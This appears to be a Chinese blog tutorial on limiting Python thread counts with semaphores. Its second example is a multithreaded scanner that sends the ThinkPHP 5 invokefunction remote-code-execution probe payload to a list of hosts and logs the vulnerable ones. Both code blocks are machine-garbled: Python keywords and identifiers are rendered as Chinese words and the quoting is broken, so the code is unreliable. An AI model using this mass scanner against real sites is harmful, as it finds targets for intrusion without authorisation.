python多线程信号如何实现线程数控制

  介绍

这篇文章将为大家详细讲解有关python多线程信号如何实现线程数控制,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。

前面写过一篇关于python多线程的实现的文章,但是效果不是最佳的,写法也不是很好。通过网上学习,也了解到了信号量这个东西。

百度给的解释:信号量是一种在多线程环境下使用的设施,该设施负责协调各个线程,以保证它们能够正确,合理的使用公共资源的设施,也是操作系统中用于控制进程同步互斥的量。

一个有趣的例子:假设停车场只有三个车位,一开始三个车位都是空的。这时如果同时来了五辆车,看门人允许其中三辆不受阻碍的进入,然后放下车拦,剩下的车则必须在入口等,待此后来的车也都不得不在入口处等待。这时,有一辆车离开停车场,看门人得知后,打开车拦,放入一辆,如果又离开两辆,则又可以放入两辆,如此往复。

简而言之,也就是能够控制多线程并发的数量。

简单记录一下如何通过信号实现线程数的控制。

简单代码:

# !- *编码:utf - 8 - *      进口线程   导入的时间      类测试(threading.Thread): #继承线程类   def __init__(自我,我,sem):   超级(测试,自我). __init__() #继承python的构造方法,这为python2的写法,python3可直接super () . __init__ ()   自我。我=自我。sem(扫描电镜      def运行(自我):   time . sleep (0.1)   打印(“测试我是:“+ str(意念))   self.sem.release() #释放线程数,线程数加1      if __name__==& # 39; __main__ # 39;:   sem=threading.Semaphore(5) #设置可同时执行的最大线程数   因为我在范围(50):   sem.acquire() #获得线程,可用线程数减1   t=测试(我,sem) #给执行函数传递值   t.start() #执行函数   sem=threading.Semaphore(5) #设置可同时开启的线程数,这里为5个

每执行一次函数的时候就获得一个线程数,sem.acquire();每次执行完函数,就会释放一个线程数,sem.release()。只要获得()的线程数达到了最大数(这里为5),后面的线程就只能先等待前面获得的线程执行完函数过后释放,后面的线程才能继续执行。

整个流程理解起来其实也很简单。

之前写过一次开10个线程的多线程脚本,但是方法不够好,这次用这个方法改了一下,贴在这里(扫描tp5是否存在代码执行漏洞的扫描脚本):

 # - * -编码:utf - 8 - *
  
  进口的要求
  进口线程
  导入的时间
  导入系统
  
  类检查(threading.Thread): #判断是否存在这个漏洞的执行函数
  def __init__(自我、url、sem):
  超级(检查、自我). __init__() #继承线程类的构造方法,python3的写法超(). __init__ ()
  自我。url=url
  自我。sem(扫描电镜
  
  def运行(自我):
  time . sleep (0.2)
  参数=皊=指数/\ \ \ \ app/invokefunction&函数=call_user_func_array& var [0]=phpinfo& var [1] []=1,
  试一试:
  反应=请求。得到(url=自我。url, params=参数)
  身体=responce.text
  如果body.find (& # 39; PHP扩展# 39;)!=1:
  张开(“success.txt"“+“) f1:
  f1.write(“存在tp5远程代码执行漏洞:“+自我。url +“\ n")
  print (“[+]“;+ self.url)
  其他:
  打印([-]“;+ self.url)
  除了例外,犯错:
  打印(“连接failed")
  通过
  self.sem.release() #执行完函数,释放线程,线程数加1
  
  类主机(threading.Thread): #遍历文件操作
  def __init__(自我,sem):
  超级(主机,自我). __init__() #继承线程类的构造方法,python3的写法超(). __init__ ()
  自我。sem(扫描电镜
  
  def运行(自我):
  张开(sys。argv [1],“r") f:
  主机在f.readlines ():
  # self.sem.acquire()遍历一个就获得一个线程,直到达到最大
  主机=癶ttp://"+ host.strip ()
  self.sem host_thread=检查(主机)
  host_thread.start() #执行检查()的执行函数
  
  if __name__==& # 39; __main__ # 39;:
  sem=threading.Semaphore(10) #最大线程数为10个
  线程=主机(sem) #传递sem值
  thread.start () 

关于python多线程信号如何实现线程数控制就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看的到。

python多线程信号如何实现线程数控制